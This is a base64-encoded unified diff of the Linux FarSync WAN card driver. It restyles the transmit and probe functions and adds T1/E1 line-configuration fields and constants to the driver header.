Ci0gICAgICAgICAgICAgICAgcG9ydC0+aGRsYy5zdGF0cy50eF9lcnJvcnMrKzsKLSAgICAgICAg ICAgICAgICBwb3J0LT5oZGxjLnN0YXRzLnR4X2NhcnJpZXJfZXJyb3JzKys7Ci0gICAgICAgICAg ICAgICAgcmV0dXJuIDA7Ci0gICAgICAgIH0KLQotICAgICAgICAvKiBEcm9wIGl0IGlmIGl0J3Mg dG9vIGJpZyEgTVRVIGZhaWx1cmUgPyAqLwotICAgICAgICBpZiAoIHNrYi0+bGVuID4gTEVOX1RY X0JVRkZFUiApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfVFgsIlBhY2tl dCB0b28gbGFyZ2UgJWQgdnMgJWRcbiIsIHNrYi0+bGVuLAotICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgTEVOX1RYX0JVRkZFUiApOwotICAgICAgICAgICAg ICAgIGRldl9rZnJlZV9za2IgKCBza2IgKTsKLSAgICAgICAgICAgICAgICBwb3J0LT5oZGxjLnN0 YXRzLnR4X2Vycm9ycysrOwotICAgICAgICAgICAgICAgIHJldHVybiAwOwotICAgICAgICB9Ci0K LSAgICAgICAgLyogQ2hlY2sgd2UgaGF2ZSBhIGJ1ZmZlciAqLwotICAgICAgICBwaSA9IHBvcnQt PmluZGV4OwotICAgICAgICBzcGluX2xvY2tfaXJxc2F2ZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZs YWdzICk7Ci0gICAgICAgIHR4cCA9IHBvcnQtPnR4cG9zOwotICAgICAgICBkb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ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICBza2ItPmRhdGEsIHNrYi0+bGVuICk7Ci0gICAgICAgIEZTVF9XUlcgKCBjYXJkLCB0eERlc2Ny UmluZ1twaV1bdHhwXS5iY250LCBjbnZfYmNudCAoIHNrYi0+bGVuICkpOwotICAgICAgICBGU1Rf V1JCICggY2FyZCwgdHhEZXNjclJpbmdbcGldW3R4cF0uYml0cywgRE1BX09XTiB8IFRYX1NUUCB8 IFRYX0VOUCApOworCXN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOworCXN0cnVjdCBmc3RfcG9y dF9pbmZvICpwb3J0OworCXVuc2lnbmVkIGxvbmcgZmxhZ3M7CisJaW50IHR4cV9sZW5ndGg7CisK Kwlwb3J0ID0gZGV2X3RvX3BvcnQoZGV2KTsKKwljYXJkID0gcG9ydC0+Y2FyZDsKKwlkYmcoREJH X1RYLCAiZnN0X3N0YXJ0X3htaXQ6IGxlbmd0aCA9ICVkXG4iLCBza2ItPmxlbik7CisKKwkvKiBE cm9wIHBhY2tldCB3aXRoIGVycm9yIGlmIHdlIGRvbid0IGhhdmUgY2FycmllciAqLworCWlmICgh bmV0aWZfY2Fycmllcl9vayhkZXYpKSB7CisJCWRldl9rZnJlZV9za2Ioc2tiKTsKKwkJcG9ydC0+ aGRsYy5zdGF0cy50eF9lcnJvcnMrKzsKKwkJcG9ydC0+aGRsYy5zdGF0cy50eF9jYXJyaWVyX2Vy cm9ycysrOworCQlkYmcoREJHX0FTUywKKwkJICAgICJUcmllZCB0byB0cmFuc21pdCBidXQgbm8g Y2FycmllciBvbiBjYXJkICVkIHBvcnQgJWRcbiIsCisJCSAgICBjYXJkLT5jYXJkX25vLCBwb3J0 LT5pbmRleCk7CisJCXJldHVybiAwOworCX0KKworCS8qIERyb3AgaXQgaWYgaXQncyB0b28gYmln ISBNVFUgZmFpbHVyZSA/ICovCisJaWYgKHNrYi0+bGVuID4gTEVOX1RYX0JVRkZFUikgeworCQlk YmcoRE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ZCBu ZXZlciBoYXBwZW4pCi0gICAgICAgICAqIHdlJ2xsIGhhdmUgdG8gcmV2aXNlIGl0IGluIHNvbWUg d2F5IHRoZW4uCi0gICAgICAgICAqLwotICAgICAgICBmb3IgKCBpID0gMCA7IGkgPCBjYXJkLT5u cG9ydHMgOyBpKysgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgY2FyZC0+cG9ydHNbaV0u Y2FyZCAgID0gY2FyZDsKLSAgICAgICAgICAgICAgICBjYXJkLT5wb3J0c1tpXS5pbmRleCAgPSBp OwotICAgICAgICAgICAgICAgIGNhcmQtPnBvcnRzW2ldLnJ1biAgICA9IDA7Ci0KLSAgICAgICAg ICAgICAgICBkZXYgPSBoZGxjX3RvX2RldiAoICZjYXJkLT5wb3J0c1tpXS5oZGxjICk7Ci0KLSAg ICAgICAgICAgICAgICAvKiBGaWxsIGluIHRoZSBuZXQgZGV2aWNlIGluZm8gKi8KLSAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgLyogU2luY2UgdGhpcyBpcyBhIFBDSSBzZXR1cCB0aGlz IGlzIHB1cmVseQotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBpbmZvcm1hdGlv bmFsLiBHaXZlIHRoZW0gdGhlIGJ1ZmZlciBhZGRyZXNzZXMKLSAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICogYW5kIGJhc2ljIGNhcmQgSS9PLgotICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgKi8KLSAgICAgICAgICAgICAgICBkZXYtPm1lbV9zdGFydCAgID0gY2FyZC0+ cGh5c19tZW0KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICsgQlVGX09GRlNFVCAo IHR4QnVmZmVyW2ldWzBdWzBdKTsKLSAgICAgICAgICAgICAgICBkZXYtPm1lbV9lbmQgICAgID0g Y2FyZC0+cGh5c19tZW0KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICsgQlVGX09G RlNFVCAoIHR4QnVmZmVyW2ldW05VTV9UWF9CVUZGRVJdWzBdKTsKLSAgICAgICAgICAgICAgICBk ZXYtPnJtZW1fc3RhcnQgID0gY2FyZC0+cGh5c19tZW0KLSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICsgQlVGX09GRlNFVCAoIHJ4QnVmZmVyW2ldWzBdWzBdKTsKLSAgICAgICAgICAg ICAgICBkZXYtPnJtZW1fZW5kICAgID0gY2FyZC0+cGh5c19tZW0KLSAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICsgQlVGX09GRlNFVCAoIHJ4QnVmZmVyW2ldW05VTV9SWF9CVUZGRVJd WzBdKTsKLSAgICAgICAgICAgICAgICBkZXYtPmJhc2VfYWRkciAgID0gY2FyZC0+cGNpX2NvbmY7 Ci0gICAgICAgICAgICAgICAgZGV2LT5pcnEgICAgICAgICA9IGNhcmQtPmlycTsKLQotICAgICAg ICAgICAgICAgIGRldi0+dHhfcXVldWVfbGVuICAgICAgICAgID0gRlNUX1RYX1FVRVVFX0xFTjsK LSAgICAgICAgICAgICAgICBkZXYtPm9wZW4gICAgICAgICAgICAgICAgICA9IGZzdF9vcGVuOwot ICAgICAgICAgICAgICAgIGRldi0+c3RvcCAgICAgICAgICAgICAgICAgID0gZnN0X2Nsb3NlOwot ICAgICAgICAgICAgICAgIGRldi0+ZG9faW9jdGwgICAgICAgICAgICAgID0gZnN0X2lvY3RsOwot ICAgICAgICAgICAgICAgIGRldi0+d2F0Y2hkb2dfdGltZW8gICAgICAgID0gRlNUX1RYX1RJTUVP VVQ7Ci0gICAgICAgICAgICAgICAgZGV2LT50eF90aW1lb3V0ICAgICAgICAgICAgPSBmc3RfdHhf dGltZW91dDsKLSAgICAgICAgICAgICAgICBjYXJkLT5wb3J0c1tpXS5oZGxjLmF0dGFjaCA9IGZz dF9hdHRhY2g7Ci0gICAgICAgICAgICAgICAgY2FyZC0+cG9ydHNbaV0uaGRsYy54bWl0ICAgPSBm c3Rfc3RhcnRfeG1pdDsKLQotICAgICAgICAgICAgICAgIGlmICgoIGVyciA9IHJlZ2lzdGVyX2hk bGNfZGV2aWNlICggJmNhcmQtPnBvcnRzW2ldLmhkbGMgKSkgPCAwICkKLSAgICAgICAgICAgICAg ICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBwcmludGtfZXJyICgiQ2Fubm90IHJlZ2lzdGVy IEhETEMgZGV2aWNlIGZvciBwb3J0ICVkIgotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIiAoZXJybm8gJWQpXG4iLCBpLCAtZXJyICk7Ci0gICAgICAgICAgICAgICAgICAgICAg ICBjYXJkLT5ucG9ydHMgPSBpOwotICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7Ci0gICAg ICAgICAgICAgICAgfQotICAgICAgICB9Ci0KLSAgICAgICAgc3Bpbl9sb2NrX2luaXQgKCAmY2Fy ZC0+Y2FyZF9sb2NrICk7Ci0KLSAgICAgICAgcHJpbnRrICggS0VSTl9JTkZPICIlcy0lczogJXMg SVJRJWQsICVkIHBvcnRzXG4iLAotICAgICAgICAgICAgICAgICAgICAgICAgaGRsY190b19kZXYo JmNhcmQtPnBvcnRzWzBdLmhkbGMpLT5uYW1lLAotICAgICAgICAgICAgICAgICAgICAgICAgaGRs Y190b19kZXYoJmNhcmQtPnBvcnRzW2NhcmQtPm5wb3J0cy0xXS5oZGxjKS0+bmFtZSwKLSAgICAg ICAgICAgICAgICAgICAgICAgIHR5cGVfc3RyaW5nc1tjYXJkLT50eXBlXSwgY2FyZC0+aXJxLCBj YXJkLT5ucG9ydHMgKTsKLX0KKwlpbnQgaTsKKwlpbnQgZXJyOworCXN0cnVjdCBuZXRfZGV2aWNl ICpkZXY7CisKKwkvKiBXZSdyZSB3b3JraW5nIG9uIGEgbnVtYmVyIG9mIHBvcnRzIGJhc2VkIG9u IHRoZSBjYXJkIElELiBJZiB0aGUKKwkgKiBmaXJtd2FyZSBkZXRlY3RzIHNvbWV0aGluZyBkaWZm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c3Qgc3RydWN0IHBjaV9kZXZpY2VfaWQgKmVudCApCitmc3RfYWRkX29u ZShzdHJ1Y3QgcGNpX2RldiAqcGRldiwgY29uc3Qgc3RydWN0IHBjaV9kZXZpY2VfaWQgKmVudCkK IHsKLSAgICAgICAgc3RhdGljIGludCBmaXJzdHRpbWVfZG9uZSA9IDA7Ci0gICAgICAgIHN0cnVj dCBmc3RfY2FyZF9pbmZvICpjYXJkOwotICAgICAgICBpbnQgZXJyID0gMDsKLQotICAgICAgICBp ZiAoICEgZmlyc3R0aW1lX2RvbmUgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgcHJpbnRr ICggS0VSTl9JTkZPICJGYXJTeW5jIFgyMSBkcml2ZXIgIiBGU1RfVVNFUl9WRVJTSU9OCi0gICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICIgKGMpIDIwMDEgRmFyU2l0ZSBDb21tdW5pY2F0 aW9ucyBMdGQuXG4iKTsKLSAgICAgICAgICAgICAgICBmaXJzdHRpbWVfZG9uZSA9IDE7Ci0gICAg ICAgIH0KLQotICAgICAgICAvKiBBbGxvY2F0ZSBkcml2ZXIgcHJpdmF0ZSBkYXRhICovCi0gICAg ICAgIGNhcmQgPSBrbWFsbG9jICggc2l6ZW9mICggc3RydWN0IGZzdF9jYXJkX2luZm8gKSwgIEdG UF9LRVJORUwpOwotICAgICAgICBpZiAoY2FyZCA9PSBOVUxMKQotICAgICAgICB7Ci0gICAgICAg ICAgICAgICAgcHJpbnRrX2VyciAoIkZhclN5bmMgY2FyZCBmb3VuZCBidXQgaW5zdWZmaWNpZW50 IG1lbW9yeSBmb3IiCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIgZHJpdmVyIHN0 b3JhZ2VcbiIpOwotICAgICAgICAgICAgICAgIHJldHVybiAtRU5PTUVNOwotICAgICAgICB9Ci0g ICAgICAgIG1lbXNldCAoIGNhcmQsIDAsIHNpemVvZiAoIHN0cnVjdCBmc3RfY2FyZF9pbmZvICk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ikpCi0gICAgICAgIHsKLSAgICAgICAgICAgICAg ICBwcmludGtfZXJyICgiVW5hYmxlIHRvIGdldCBjb25maWcgSS9PIEAgMHglMDRYXG4iLAotICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FyZC0+cGNpX2Nv bmYgKTsKLSAgICAgICAgICAgICAgICBlcnIgPSAtRU5PREVWOwotICAgICAgICAgICAgICAgIGdv dG8gZXJyb3JfZnJlZV9jYXJkOwotICAgICAgICB9Ci0gICAgICAgIGlmICggISByZXF1ZXN0X21l bV9yZWdpb24gKCBjYXJkLT5waHlzX21lbSwgRlNUX01FTVNJWkUsIlNoYXJlZCBSQU0iKSkKLSAg ICAgICAgewotICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJVbmFibGUgdG8gZ2V0IG1haW4g bWVtb3J5IEAgMHglMDhYXG4iLAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgY2FyZC0+cGh5c19tZW0gKTsKLSAgICAgICAgICAgICAgICBlcnIgPSAtRU5P REVWOwotICAgICAgICAgICAgICAgIGdvdG8gZXJyb3JfcmVsZWFzZV9pbzsKLSAgICAgICAgfQot ICAgICAgICBpZiAoICEgcmVxdWVzdF9tZW1fcmVnaW9uICggY2FyZC0+cGh5c19jdGxtZW0sIDB4 MTAsIkNvbnRyb2wgbWVtb3J5IikpCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBwcmludGtf ZXJyICgiVW5hYmxlIHRvIGdldCBjb250cm9sIG1lbW9yeSBAIDB4JTA4WFxuIiwKLSAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhcmQtPnBoeXNfY3RsbWVt ICk7Ci0gICAgICAgICAgICAgICAgZXJyID0gLUVOT0RFVjsKLSAgICAgICAgICAgICAgICBnb3Rv IGVycm9yX3JlbGVhc2VfbWVtOwotICAgICAgICB9Ci0KLSAgICAgICAgLyogVHJ5IHRvIGVuYWJs ZSB0aGUgZGV2aWNlICovCi0gICAgICAgIGlmICgoIGVyciA9IHBjaV9lbmFibGVfZGV2aWNlICgg cGRldiApKSAhPSAwICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJG YWlsZWQgdG8gZW5hYmxlIGNhcmQuIEVyciAlZFxuIiwgLWVyciApOwotICAgICAgICAgICAgICAg IGdvdG8gZXJyb3JfcmVsZWFzZV9jdGxtZW07Ci0gICAgICAgIH0KLQotICAgICAgICAvKiBHZXQg dmlydHVhbCBhZGRyZXNzZXMgb2YgbWVtb3J5IHJlZ2lvbnMgKi8KLSAgICAgICAgaWYgKCggY2Fy ZC0+bWVtID0gaW9yZW1hcCAoIGNhcmQtPnBoeXNfbWVtLCBGU1RfTUVNU0laRSApKSA9PSBOVUxM ICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJQaHlzaWNhbCBtZW1v cnkgcmVtYXAgZmFpbGVkXG4iKTsKLSAgICAgICAgICAgICAgICBlcnIgPSAtRU5PREVWOwotICAg ICAgICAgICAgICAgIGdvdG8gZXJyb3JfcmVsZWFzZV9jdGxtZW07Ci0gICAgICAgIH0KLSAgICAg ICAgaWYgKCggY2FyZC0+Y3RsbWVtID0gaW9yZW1hcCAoIGNhcmQtPnBoeXNfY3RsbWVtLCAweDEw ICkpID09IE5VTEwgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoIkNv bnRyb2wgbWVtb3J5IHJlbWFwIGZhaWxlZFxuIik7Ci0gICAgICAgICAgICAgICAgZXJyID0gLUVO T0RFVjsKLSAgICAgICAgICAgICAgICBnb3RvIGVycm9yX3VubWFwX21lbTsKLSAgICAgICAgfQot ICAgICAgICBkYmcgKCBEQkdfUENJLCJrZXJuZWwgbWVtICVwLCBjdGxtZW0gJXBcbiIsIGNhcmQt Pm1lbSwgY2FyZC0+Y3RsbWVtKTsKLQotICAgICAgICAvKiBSZXNldCB0aGUgY2FyZCdzIHByb2Nl c3NvciAqLwotICAgICAgICBmc3RfY3B1cmVzZXQgKCBjYXJkICk7Ci0gICAgICAgIGNhcmQtPnN0 YXRlID0gRlNUX1JFU0VUOwotCi0gICAgICAgIC8qIFJlZ2lzdGVyIHRoZSBpbnRlcnJ1cHQgaGFu ZGxlciAqLwotICAgICAgICBpZiAoIHJlcXVlc3RfaXJxICggY2FyZC0+aXJxLCBmc3RfaW50ciwg U0FfU0hJUlEsIEZTVF9ERVZfTkFNRSwgY2FyZCApKQotICAgICAgICB7Ci0KLSAgICAgICAgICAg ICAgICBwcmludGtfZXJyICgiVW5hYmxlIHRvIHJlZ2lzdGVyIGludGVycnVwdCAlZFxuIiwgY2Fy ZC0+aXJxICk7Ci0gICAgICAgICAgICAgICAgZXJyID0gLUVOT0RFVjsKLSAgICAgICAgICAgICAg ICBnb3RvIGVycm9yX3VubWFwX2N0bG1lbTsKLSAgICAgICAgfQotCi0gICAgICAgIC8qIFJlY29y ZCBkcml2ZXIgZGF0YSBmb3IgbGF0ZXIgdXNlICovCi0gICAgICAgIHBjaV9zZXRfZHJ2ZGF0YShw ZGV2LCBjYXJkKTsKLQotICAgICAgICAvKiBSZW1haW5kZXIgb2YgY2FyZCBzZXR1cCAqLwotICAg ICAgICBmc3RfaW5pdF9jYXJkICggY2FyZCApOwotCi0gICAgICAgIHJldHVybiAwOyAgICAgICAg ICAgICAgICAgICAgICAgLyogU3VjY2VzcyAqLwotCi0KLSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAvKiBGYWlsdXJlLiBSZWxlYXNlIHJlc291cmNlcyAqLwotZXJyb3Jf dW5tYXBfY3RsbWVtOgotICAgICAgICBpb3VubWFwICggY2FyZC0+Y3RsbWVtICk7Ci0KLWVycm9y X3VubWFwX21lbToKLSAgICAgICAgaW91bm1hcCAoIGNhcmQtPm1lbSApOwotCi1lcnJvcl9yZWxl YXNlX2N0bG1lbToKLSAgICAgICAgcmVsZWFzZV9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YWxsIGNvbW1hbmQgdmFsdWVz CkBAIC0xMDAsNiArMTA1LDcgQEAKICAgICAgICAgdW5zaWduZWQgaW50ICAgc3RhdGU7ICAgICAg ICAgICAvKiBTdGF0ZSBvZiBjYXJkICovCiAgICAgICAgIHVuc2lnbmVkIGludCAgIGluZGV4OyAg ICAgICAgICAgLyogSW5kZXggb2YgcG9ydCBpb2N0bCB3YXMgaXNzdWVkIG9uICovCiAgICAgICAg IHVuc2lnbmVkIGludCAgIHNtY0Zpcm13YXJlVmVyc2lvbjsKKyAgICAgICAgdW5zaWduZWQgbG9u ZyAga2VybmVsVmVyc2lvbjsgICAvKiBXaGF0IEtlcm5lbCB2ZXJzaW9uIHdlIGFyZSB3b3JraW5n IHdpdGggKi8KICAgICAgICAgdW5zaWduZWQgc2hvcnQgbGluZUludGVyZmFjZTsgICAvKiBQaHlz aWNhbCBpbnRlcmZhY2UgdHlwZSAqLwogICAgICAgICB1bnNpZ25lZCBjaGFyICBwcm90bzsgICAg ICAgICAgIC8qIExpbmUgcHJvdG9jb2wgKi8KICAgICAgICAgdW5zaWduZWQgY2hhciAgaW50ZXJu YWxDbG9jazsgICAvKiAxID0+IGludGVybmFsIGNsb2NrLCAwID0+IGV4dGVybmFsICovCkBAIC0x MTAsNiArMTE2LDMxIEBACiAgICAgICAgIHVuc2lnbmVkIHNob3J0IGNhYmxlU3RhdHVzOyAgICAg LyogbHNiOiAwPT4gcHJlc2VudCwgMT0+IGFic2VudCAqLwogICAgICAgICB1bnNpZ25lZCBzaG9y dCBjYXJkTW9kZTsgICAgICAgIC8qIGxzYjogTEVEIGlkIG1vZGUgKi8KICAgICAgICAgdW5zaWdu ZWQgc2hvcnQgZGVidWc7ICAgICAgICAgICAvKiBEZWJ1ZyBmbGFncyAqLworICAgICAgICB1bnNp Z25lZCBjaGFyICB0cmFuc3BhcmVudE1vZGU7IC8qIE5vdCB1c2VkIGFsd2F5cyAwICovCisgICAg ICAgIHVuc2lnbmVkIGNoYXIgIGludmVydENsb2NrOyAgICAgLyogSW52ZXJ0IGNsb2NrIGZlYXR1 cmUgZm9yIHN5bmNpbmcgKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgc3RhcnRpbmdTbG90OyAg ICAvKiBUaW1lIHNsb3QgdG8gdXNlIGZvciBzdGFydCBvZiB0eCAqLworICAgICAgICB1bnNpZ25l ZCBjaGFyICBjbG9ja1NvdXJjZTsgICAgIC8qIEV4dGVybmFsIG9yIGludGVybmFsICovCisgICAg ICAgIHVuc2lnbmVkIGNoYXIgIGZyYW1pbmc7ICAgICAgICAgLyogRTEsIFQxIG9yIEoxICovCisg ICAgICAgIHVuc2lnbmVkIGNoYXIgIHN0cnVjdHVyZTsgICAgICAgLyogdW5mcmFtZWQsIGRvdWJs ZSwgY3JjNCwgZjQsIGYxMiwgKi8KKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAvKiBmMjQgZjcyICovCisgICAgICAgIHVuc2lnbmVkIGNoYXIgIGludGVyZmFjZTsgICAg ICAgLyogcmo0OGMgb3IgYm5jICovCisgICAgICAgIHVuc2lnbmVkIGNoYXIgIGNvZGluZzsgICAg ICAgICAgLyogaGRiMyBiOHpzICovCisgICAgICAgIHVuc2lnbmVkIGNoYXIgIGxpbmVCdWlsZE91 dDsgICAgLyogMCwgLTcuNSwgLTE1LCAtMjIgKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgZXF1 YWxpemVyOyAgICAgICAvKiBzaG9ydCBvciBsb24gaGF1bCBzZXR0aW5ncyAqLworICAgICAgICB1 bnNpZ25lZCBjaGFyICBsb29wTW9kZTsgICAgICAgIC8qIHZhcmlvdXMgbG9vcGJhY2tzICovCisg ICAgICAgIHVuc2lnbmVkIGNoYXIgIHJhbmdlOyAgICAgICAgICAgLyogY2FibGUgbGVuZ3RocyAq LworICAgICAgICB1bnNpZ25lZCBjaGFyICB0eEJ1ZmZlck1vZGU7ICAgIC8qIHR4IGVsYXN0aWMg YnVmZmVyIGRlcHRoICovCisgICAgICAgIHVuc2lnbmVkIGNoYXIgIHJ4QnVmZmVyTW9kZTsgICAg LyogcnggZWxhc3RpYyBidWZmZXIgZGVwdGggKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgbG9z VGhyZXNob2xkOyAgICAvKiBBdHRlbnVhdGlvbiBvbiBMT1Mgc2lnbmFsICovCisgICAgICAgIHVu c2lnbmVkIGNoYXIgIGlkbGVDb2RlOyAgICAgICAgLyogVmFsdWUgdG8gc2VuZCBhcyBpZGxlIHRp bWVzbG90ICovCisgICAgICAgIHVuc2lnbmVkIGludCAgIHJlY2VpdmVCdWZmZXJEZWxheTsgLyog ZGVsYXkgdGhybyByeCBidWZmZXIgdGltZXNsb3RzICovCisgICAgICAgIHVuc2lnbmVkIGludCAg IGZyYW1pbmdFcnJvckNvdW50OyAvKiBmcmFtaW5nIGVycm9ycyAqLworICAgICAgICB1bnNpZ25l ZCBpbnQgICBjb2RlVmlvbGF0aW9uQ291bnQ7IC8qIGNvZGUgdmlvbGF0aW9ucyAqLworICAgICAg ICB1bnNpZ25lZCBpbnQgICBjcmNFcnJvckNvdW50OyAgIC8qIENSQyBlcnJvcnMgKi8KKyAgICAg ICAgaW50ICAgICAgICAgICAgbGluZUF0dGVudWF0aW9uOyAvKiBpbiBkQiovCisgICAgICAgIHVu c2lnbmVkIHNob3J0IGxvc3NPZlNpZ25hbDsKKyAgICAgICAgdW5zaWduZWQgc2hvcnQgcmVjZWl2 ZVJlbW90ZUFsYXJtOworICAgICAgICB1bnNpZ25lZCBzaG9ydCBhbGFybUluZGljYXRpb25TaWdu YWw7CiB9OwogCiAvKiAidmFsaWQiIGJpdG1hc2sgKi8KQEAgLTEzMSwxMyArMTYyLDIzIEBACiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICovCiAjZGVmaW5lIEZTVFZB TF9QUk9UTyAgICAweDAwMDAwMjAwICAgICAgLyogcHJvdG8gKi8KICNkZWZpbmUgRlNUVkFMX01P REUgICAgIDB4MDAwMDA0MDAgICAgICAvKiBjYXJkTW9kZSAqLworI2RlZmluZSBGU1RWQUxfUEhB U0UgICAgMHgwMDAwMDgwMCAgICAgIC8qIENsb2NrIHBoYXNlICovCisjZGVmaW5lIEZTVFZBTF9U RTEgICAgICAweDAwMDAxMDAwICAgICAgLyogVDFFMSBDb25maWd1cmF0aW9uICovCiAjZGVmaW5l IEZTVFZBTF9ERUJVRyAgICAweDgwMDAwMDAwICAgICAgLyogZGVidWcgKi8KLSNkZWZpbmUgRlNU VkFMX0FMTCAgICAgIDB4MDAwMDA3RkYgICAgICAvKiBOb3RlOiBkb2VzIG5vdCBpbmNsdWRlIERF QlVHIGZsYWcgKi8KKyNkZWZpbmUgRlNUVkFMX0FMTCAgICAgIDB4MDAwMDFGRkYgICAgICAvKiBO b3RlOiBkb2VzIG5vdCBpbmNsdWRlIERFQlVHIGZsYWcgKi8KIAogLyogInR5cGUiICovCiAjZGVm aW5lIEZTVF9UWVBFX05PTkUgICAwICAgICAgICAgICAgICAgLyogUHJvYmFibHkgc2hvdWxkIG5l dmVyIGhhcHBlbiAqLwogI2RlZmluZSBGU1RfVFlQRV9UMlAgICAgMSAgICAgICAgICAgICAgIC8q IFQyUCBYMjEgMiBwb3J0IGNhcmQgKi8KICNkZWZpbmUgRlNUX1RZUEVfVDRQICAgIDIgICAgICAg ICAgICAgICAvKiBUNFAgWDIxIDQgcG9ydCBjYXJkICovCisjZGVmaW5lIEZTVF9UWVBFX1QxVSAg ICAzICAgICAgICAgICAgICAgLyogVDFVIFgyMSAxIHBvcnQgY2FyZCAqLworI2RlZmluZSBGU1Rf VFlQRV9UMlUgICAgNCAgICAgICAgICAgICAgIC8qIFQyVSBYMjEgMiBwb3J0IGNhcmQgKi8KKyNk ZWZpbmUgRlNUX1RZUEVfVDRVICAgIDUgICAgICAgICAgICAgICAvKiBUNFUgWDIxIDQgcG9ydCBj YXJkICovCisjZGVmaW5lIEZTVF9UWVBFX1RFMSAgICA2ICAgICAgICAgICAgICAgLyogVDFFMSBY MjEgMSBwb3J0IGNhcmQgKi8KKworLyogImZhbWlseSIgKi8KKyNkZWZpbmUgRlNUX0ZBTUlMWV9U WFAgIDAgICAgICAgICAgICAgICAvKiBUMlAgb3IgVDRQICovCisjZGVmaW5lIEZTVF9GQU1JTFlf VFhVICAxICAgICAgICAgICAgICAgLyogVDFVIG9yIFQyVSBvciBUNFUgKi8KIAogLyogInN0YXRl IiAqLwogI2RlZmluZSBGU1RfVU5JTklUICAgICAgMCAgICAgICAgICAgICAgIC8qIFJhdyB1bmlu aXRpYWxpc2VkIHN0YXRlIGZvbGxvd2luZwpAQCAtMTU1LDYgKzE5NiwxMCBAQAogI2RlZmluZSBW MjQgICAgICAgICAgICAgMQogI2RlZmluZSBYMjEgICAgICAgICAgICAgMgogI2RlZmluZSBWMzUg ICAgICAgICAgICAgMworI2RlZmluZSBYMjFEICAgICAgICAgICAgNAorI2RlZmluZSBUMSAgICAg ICAgICAgICAgNQorI2RlZmluZSBFMSAgICAgICAgICAgICAgNgorI2RlZmluZSBKMSAgICAgICAg ICAgICAgNwogCiAvKiAicHJvdG8iICovCiAjZGVmaW5lIEZTVF9IRExDICAgICAgICAxICAgICAg ICAgICAgICAgLyogQ2lzY28gY29tcGF0aWJsZSBIRExDICovCkBAIC0xODcsNiArMjMyLDk3IEBA CiAvKiAiY2FyZE1vZGUiIGJpdG1hc2sgKi8KICNkZWZpbmUgQ0FSRF9NT0RFX0lERU5USUZZICAg ICAgMHgwMDAxCiAKKy8qIAorICogQ29uc3RhbnRzIGZvciBUMS9FMSBjb25maWd1cmF0aW9uCisg Ki8KKworLyoKKyAqIENsb2NrIHNvdXJjZQorICovCisjZGVmaW5lIENMT0NLSU5HX1NMQVZFICAg ICAgIDAKKyNkZWZpbmUgQ0xPQ0tJTkdfTUFTVEVSICAgICAgMQorCisvKgorICogRnJhbWluZwor ICovCisjZGVmaW5lIEZSQU1JTkdfRTEgICAgICAgICAgIDAKKyNkZWZpbmUgRlJBTUlOR19KMSAg ICAgICAgICAgMQorI2RlZmluZSBGUkFNSU5HX1QxICAgICAgICAgICAyCisKKy8qCisgKiBTdHJ1 Y3R1cmUKKyAqLworI2RlZmluZSBTVFJVQ1RVUkVfVU5GUkFNRUQgICAwCisjZGVmaW5lIFNUUlVD VFVSRV9FMV9ET1VCTEUgIDEKKyNkZWZpbmUgU1RSVUNUVVJFX0UxX0NSQzQgICAgMgorI2RlZmlu ZSBTVFJVQ1RVUkVfRTFfQ1JDNE0gICAzCisjZGVmaW5lIFNUUlVDVFVSRV9UMV80ICAgICAgIDQK KyNkZWZpbmUgU1RSVUNUVVJFX1QxXzEyICAgICAgNQorI2RlZmluZSBTVFJVQ1RVUkVfVDFfMjQg ICAgICA2CisjZGVmaW5lIFNUUlVDVFVSRV9UMV83MiAgICAgIDcKKworLyoKKyAqIEludGVyZmFj ZQorICovCisjZGVmaW5lIElOVEVSRkFDRV9SSjQ4QyAgICAgIDAKKyNkZWZpbmUgSU5URVJGQUNF X0JOQyAgICAgICAgMQorCisvKgorICogQ29kaW5nCisgKi8KKworI2RlZmluZSBDT0RJTkdfSERC MyAgICAgICAgICAwCisjZGVmaW5lIENPRElOR19OUlogICAgICAgICAgIDEKKyNkZWZpbmUgQ09E SU5HX0NNSSAgICAgICAgICAgMgorI2RlZmluZSBDT0RJTkdfQ01JX0hEQjMgICAgICAzCisjZGVm aW5lIENPRElOR19DTUlfQjhaUyAgICAgIDQKKyNkZWZpbmUgQ09ESU5HX0FNSSAgICAgICAgICAg NQorI2RlZmluZSBDT0RJTkdfQU1JX1pDUyAgICAgICA2CisjZGVmaW5lIENPRElOR19COFpTICAg 